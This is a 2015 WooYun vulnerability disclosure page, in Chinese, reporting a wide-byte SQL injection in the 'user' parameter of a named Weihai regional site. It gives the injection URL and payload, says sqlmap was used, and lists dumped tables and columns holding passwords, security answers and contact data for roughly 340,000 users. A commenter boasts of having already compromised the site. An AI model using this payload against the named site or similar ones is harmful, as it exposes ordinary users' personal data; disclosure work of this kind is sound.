当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0138296

漏洞标题：爱威海某站SQL注入可导致大量用户信息泄漏

相关厂商：爱威海

漏洞作者： 渔村安全实验室

提交时间：2015-09-01 11:04

修复时间：2015-10-16 11:06

公开时间：2015-10-16 11:06

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-01： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-10-16： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

详细说明：

http://info.iweihai.cn/space.php?user=
user参数有注入，宽字节注入
http://info.iweihai.cn/space.php?user=%df'

2015-09-01_094639.png


报出错误，直接上SQLMAP

2015-09-01_094838.png


跟上表项数据，约34W用户数据

my_information
	167157
		id
		title
		catid
		areaid
		begintime
		activetime
		endtime
		content
		userid
		contact_who
		qq
		email
		tel
		updatetime
		hit
		ismember
		manage_pwd
		ip
		ip2area
		info_level
		img_path
		img_count
		upgrade_type
		upgrade_time
		ifred
		ifbold
		certify
		html_path
		upgrade_type_index
		upgrade_time_index
		mappoint
		web_address
		oldid
		orderid
		indexorderid
		deldate
		deltype
		posttime
		upgrade_type_list
		upgrade_time_list
	my_member
	183061
		id
		userid
		openid
		userpwd
		catid
		areaid
		cname
		tname
		introduce
		sex
		tel
		address
		busway
		mappoint
		qq
		msn
		email
		template
		keywords
		logo
		prelogo
		banner
		safequestion
		safeanswer
		levelid
		money_own
		credit
		credits
		score
		joinip
		loginip
		jointime
		logintime
		web
		per_certify
		com_certify
		if_corp
		ifindex
		iflist
		mobile
		levelup_time
		hit


贴点数据以示证明

2015-09-01_095147.png

漏洞证明：

修复方案：

版权声明：转载请注明来源 渔村安全实验室@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：15 (WooYun评价)

漏洞评价：

评论

  1. 2015-09-02 08:53 | king7 ( 普通白帽子 | Rank:571 漏洞数:107 | 长期1:7回收WB,手续费协商,个位数到三位数...)

    这个站我都日下了，还有相关群站，没想到wooyun竟然收。。。